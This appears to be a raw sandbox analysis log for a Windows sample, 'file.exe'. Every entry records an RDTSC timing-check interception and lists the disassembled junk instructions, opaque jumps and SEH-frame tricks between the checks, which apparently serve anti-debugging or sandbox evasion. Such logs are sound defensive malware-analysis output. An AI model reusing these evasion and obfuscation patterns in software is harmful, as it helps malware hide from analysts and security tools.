Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F6A6F second address: 9F6A75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F88BF second address: 9F88D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8044DEC463h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F88D6 second address: 9F88F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8044531C9Dh 0x00000008 js 00007F8044531C96h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F7A0D second address: 9F7A6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F8044DEC456h 0x0000000a popad 0x0000000b pop esi 0x0000000c mov dword ptr [esp], eax 0x0000000f mov dword ptr [ebp+12448771h], edi 0x00000015 push dword ptr fs:[00000000h] 0x0000001c push 00000000h 0x0000001e push ebp 0x0000001f call 00007F8044DEC458h 0x00000024 pop ebp 0x00000025 mov dword ptr [esp+04h], ebp 0x00000029 add dword ptr [esp+04h], 00000014h 0x00000031 inc ebp 0x00000032 push ebp 0x00000033 ret 0x00000034 pop ebp 0x00000035 ret 0x00000036 mov dword ptr fs:[00000000h], esp 0x0000003d mov bx, cx 0x00000040 mov bx, ax 0x00000043 mov eax, dword ptr [ebp+122D1485h] 0x00000049 push FFFFFFFFh 0x0000004b xor edi, 42FB3000h 0x00000051 nop 0x00000052 jo 00007F8044DEC460h 0x00000058 pushad 0x00000059 pushad 0x0000005a popad 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F7A6C second address: 9F7A77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F7A77 second address: 9F7A7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FA822 second address: 9FA844 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F8044531C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8044531CA6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F8A15 second address: 9F8A19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F8A19 second address: 9F8AAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 jp 00007F8044531C9Eh 0x0000000e js 00007F8044531C98h 0x00000014 pushad 0x00000015 popad 0x00000016 nop 0x00000017 push dword ptr fs:[00000000h] 0x0000001e push 00000000h 0x00000020 push ebp 0x00000021 call 00007F8044531C98h 0x00000026 pop ebp 0x00000027 mov dword ptr [esp+04h], ebp 0x0000002b add dword ptr [esp+04h], 00000018h 0x00000033 inc ebp 0x00000034 push ebp 0x00000035 ret 0x00000036 pop ebp 0x00000037 ret 0x00000038 mov bx, cx 0x0000003b mov dword ptr fs:[00000000h], esp 0x00000042 jmp 00007F8044531CA2h 0x00000047 mov eax, dword ptr [ebp+122D0BE1h] 0x0000004d or ebx, 7EE44A25h 0x00000053 push FFFFFFFFh 0x00000055 stc 0x00000056 jmp 00007F8044531CA9h 0x0000005b nop 0x0000005c push esi 0x0000005d pushad 0x0000005e push edx 0x0000005f pop edx 0x00000060 pushad 0x00000061 popad 0x00000062 popad 0x00000063 pop esi 0x00000064 push eax 0x00000065 pushad 0x00000066 push eax 0x00000067 push edx 0x00000068 jng 00007F8044531C96h 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F8AAE second address: 9F8AC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F8044DEC45Ah 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F9AF6 second address: 9F9AFB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F9AFB second address: 9F9B9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 mov dword ptr [ebp+1246F20Ah], edx 0x0000000e push dword ptr fs:[00000000h] 0x00000015 sbb edi, 21154415h 0x0000001b mov dword ptr fs:[00000000h], esp 0x00000022 push 00000000h 0x00000024 push edi 0x00000025 call 00007F8044DEC458h 0x0000002a pop edi 0x0000002b mov dword ptr [esp+04h], edi 0x0000002f add dword ptr [esp+04h], 00000014h 0x00000037 inc edi 0x00000038 push edi 0x00000039 ret 0x0000003a pop edi 0x0000003b ret 0x0000003c mov eax, dword ptr [ebp+122D03A5h] 0x00000042 push 00000000h 0x00000044 push eax 0x00000045 call 00007F8044DEC458h 0x0000004a pop eax 0x0000004b mov dword ptr [esp+04h], eax 0x0000004f add dword ptr [esp+04h], 00000018h 0x00000057 inc eax 0x00000058 push eax 0x00000059 ret 0x0000005a pop eax 0x0000005b ret 0x0000005c push FFFFFFFFh 0x0000005e mov dword ptr [ebp+124783DAh], edx 0x00000064 nop 0x00000065 jmp 00007F8044DEC469h 0x0000006a push eax 0x0000006b push eax 0x0000006c push edx 0x0000006d push ecx 0x0000006e jmp 00007F8044DEC464h 0x00000073 pop ecx 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FB9B2 second address: 9FB9C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007F8044531C96h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FD60D second address: 9FD611 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FD611 second address: 9FD649 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov dword ptr [esp], eax 0x0000000a mov dword ptr [ebp+122D29EAh], eax 0x00000010 mov ebx, dword ptr [ebp+122D1848h] 0x00000016 push 00000000h 0x00000018 mov edi, 2E13C4B6h 0x0000001d jmp 00007F8044531C9Dh 0x00000022 push 00000000h 0x00000024 mov ebx, dword ptr [ebp+122D3603h] 0x0000002a push eax 0x0000002b push ecx 0x0000002c push eax 0x0000002d push edx 0x0000002e push esi 0x0000002f pop esi 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FD649 second address: 9FD64D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FB9C3 second address: 9FBA6F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F8044531CAEh 0x0000000c jmp 00007F8044531CA8h 0x00000011 popad 0x00000012 nop 0x00000013 movsx ebx, si 0x00000016 push dword ptr fs:[00000000h] 0x0000001d push 00000000h 0x0000001f push esi 0x00000020 call 00007F8044531C98h 0x00000025 pop esi 0x00000026 mov dword ptr [esp+04h], esi 0x0000002a add dword ptr [esp+04h], 00000017h 0x00000032 inc esi 0x00000033 push esi 0x00000034 ret 0x00000035 pop esi 0x00000036 ret 0x00000037 mov edi, 02BF28F6h 0x0000003c mov dword ptr fs:[00000000h], esp 0x00000043 jns 00007F8044531CA2h 0x00000049 mov eax, dword ptr [ebp+122D12CDh] 0x0000004f push 00000000h 0x00000051 push ebp 0x00000052 call 00007F8044531C98h 0x00000057 pop ebp 0x00000058 mov dword ptr [esp+04h], ebp 0x0000005c add dword ptr [esp+04h], 00000017h 0x00000064 inc ebp 0x00000065 push ebp 0x00000066 ret 0x00000067 pop ebp 0x00000068 ret 0x00000069 mov ebx, dword ptr [ebp+122D3181h] 0x0000006f sbb edi, 33433653h 0x00000075 push FFFFFFFFh 0x00000077 sub dword ptr [ebp+122D28F1h], ebx 0x0000007d push eax 0x0000007e pushad 0x0000007f push eax 0x00000080 push edx 0x00000081 pushad 0x00000082 popad 0x00000083 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FE567 second address: 9FE56B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AD757 second address: 9AD788 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8044531C9Ah 0x00000008 pushad 0x00000009 popad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d jnp 00007F8044531C96h 0x00000013 pop eax 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 push edx 0x00000018 jmp 00007F8044531C9Dh 0x0000001d pop edx 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 pushad 0x00000022 popad 0x00000023 pop edx 0x00000024 push edx 0x00000025 push ecx 0x00000026 pop ecx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0E0A0 second address: A0E0BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8044DEC467h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0E0BB second address: A0E0FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8044531C9Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c js 00007F8044531CA2h 0x00000012 jns 00007F8044531C9Ch 0x00000018 mov eax, dword ptr [esp+04h] 0x0000001c push eax 0x0000001d push edx 0x0000001e push edi 0x0000001f jmp 00007F8044531CA6h 0x00000024 pop edi 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0E0FC second address: A0E125 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007F8044DEC45Ah 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [eax] 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jmp 00007F8044DEC45Fh 0x00000017 push eax 0x00000018 pop eax 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0E1E9 second address: A0E217 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 mov eax, dword ptr [eax] 0x00000007 pushad 0x00000008 jmp 00007F8044531C9Fh 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F8044531CA5h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A14CD6 second address: A14CDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A14CDA second address: A14CDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1487F second address: A14899 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8044DEC460h 0x00000007 jo 00007F8044DEC456h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EE70A second address: 9EE755 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push edx 0x00000009 jmp 00007F8044531CA1h 0x0000000e pop edi 0x0000000f mov cl, bl 0x00000011 lea eax, dword ptr [ebp+124803FDh] 0x00000017 push 00000000h 0x00000019 push eax 0x0000001a call 00007F8044531C98h 0x0000001f pop eax 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 add dword ptr [esp+04h], 00000016h 0x0000002c inc eax 0x0000002d push eax 0x0000002e ret 0x0000002f pop eax 0x00000030 ret 0x00000031 push eax 0x00000032 push edi 0x00000033 push eax 0x00000034 push edx 0x00000035 jg 00007F8044531C96h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EE755 second address: 9D020B instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8044DEC456h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push eax 0x00000011 call 00007F8044DEC458h 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b add dword ptr [esp+04h], 00000017h 0x00000023 inc eax 0x00000024 push eax 0x00000025 ret 0x00000026 pop eax 0x00000027 ret 0x00000028 jnl 00007F8044DEC458h 0x0000002e mov edi, eax 0x00000030 call dword ptr [ebp+122D1975h] 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F8044DEC45Ch 0x0000003d pushad 0x0000003e jmp 00007F8044DEC469h 0x00000043 jmp 00007F8044DEC45Eh 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FCA38 second address: 9FCA3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EED7E second address: 9EEDA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F8044DEC456h 0x0000000a popad 0x0000000b pop edx 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F8044DEC465h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EEDA5 second address: 9EEDAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EEF41 second address: 9EEF46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EEF46 second address: 9EEF58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EF223 second address: 9EF284 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007F8044DEC458h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 0000001Bh 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 cld 0x00000024 push 00000004h 0x00000026 push 00000000h 0x00000028 push edx 0x00000029 call 00007F8044DEC458h 0x0000002e pop edx 0x0000002f mov dword ptr [esp+04h], edx 0x00000033 add dword ptr [esp+04h], 00000018h 0x0000003b inc edx 0x0000003c push edx 0x0000003d ret 0x0000003e pop edx 0x0000003f ret 0x00000040 mov ecx, dword ptr [ebp+122D3537h] 0x00000046 mov dword ptr [ebp+1246FB1Ah], edi 0x0000004c push eax 0x0000004d push edi 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EF284 second address: 9EF288 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EF5CF second address: 9EF5D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EF907 second address: 9EF967 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov dword ptr [esp], eax 0x00000008 pushad 0x00000009 add dword ptr [ebp+122D28F1h], esi 0x0000000f mov esi, dword ptr [ebp+122D366Bh] 0x00000015 popad 0x00000016 lea eax, dword ptr [ebp+124803FDh] 0x0000001c push 00000000h 0x0000001e push ebp 0x0000001f call 00007F8044531C98h 0x00000024 pop ebp 0x00000025 mov dword ptr [esp+04h], ebp 0x00000029 add dword ptr [esp+04h], 00000016h 0x00000031 inc ebp 0x00000032 push ebp 0x00000033 ret 0x00000034 pop ebp 0x00000035 ret 0x00000036 nop 0x00000037 push ecx 0x00000038 push esi 0x00000039 jnc 00007F8044531C96h 0x0000003f pop esi 0x00000040 pop ecx 0x00000041 push eax 0x00000042 pushad 0x00000043 js 00007F8044531CA5h 0x00000049 jmp 00007F8044531C9Fh 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 popad 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1C363 second address: A1C368 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1C368 second address: A1C37E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8044531C9Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 jl 00007F8044531C96h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1C7C6 second address: A1C7ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8044DEC45Ch 0x00000007 jns 00007F8044DEC456h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F8044DEC45Fh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1C7ED second address: A1C810 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8044531C96h 0x00000008 jmp 00007F8044531CA2h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push esi 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1C810 second address: A1C81C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jo 00007F8044DEC456h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1C81C second address: A1C829 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8044531C98h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A22372 second address: A22376 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A22376 second address: A223A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jns 00007F8044531C96h 0x0000000f pushad 0x00000010 popad 0x00000011 pop esi 0x00000012 pushad 0x00000013 jmp 00007F8044531C9Bh 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F8044531CA2h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A223A8 second address: A223B1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A210A1 second address: A210B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8044531CA2h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2121D second address: A2122D instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8044DEC456h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2122D second address: A21231 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2137D second address: A21381 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A20DE2 second address: A20DEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jl 00007F8044531C96h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A20DEF second address: A20DF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A21A58 second address: A21AAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jno 00007F8044531CA7h 0x0000000b pushad 0x0000000c jnp 00007F8044531C96h 0x00000012 jmp 00007F8044531CA5h 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a jmp 00007F8044531C9Dh 0x0000001f popad 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 jnl 00007F8044531C96h 0x00000029 push ebx 0x0000002a pop ebx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A21AAC second address: A21AB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A21D5B second address: A21D61 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A268A7 second address: A268B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F8044DEC456h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26A1D second address: A26A2C instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8044531C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26A2C second address: A26A32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26B84 second address: A26BA8 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8044531C96h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8044531C9Eh 0x00000013 jl 00007F8044531C98h 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26BA8 second address: A26BBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8044DEC45Ch 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26E92 second address: A26E98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2714D second address: A27162 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8044DEC45Ch 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2730A second address: A27332 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jbe 00007F8044531CACh 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27496 second address: A274BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8044DEC460h 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8044DEC45Bh 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A274BA second address: A274C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26154 second address: A26171 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8044DEC464h 0x00000009 popad 0x0000000a push ecx 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2E772 second address: A2E78A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8044531CA3h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2E8EF second address: A2E8F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2E8F3 second address: A2E91E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8044531CA7h 0x00000007 jmp 00007F8044531C9Ch 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2E91E second address: A2E924 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2E924 second address: A2E928 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2E928 second address: A2E92E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
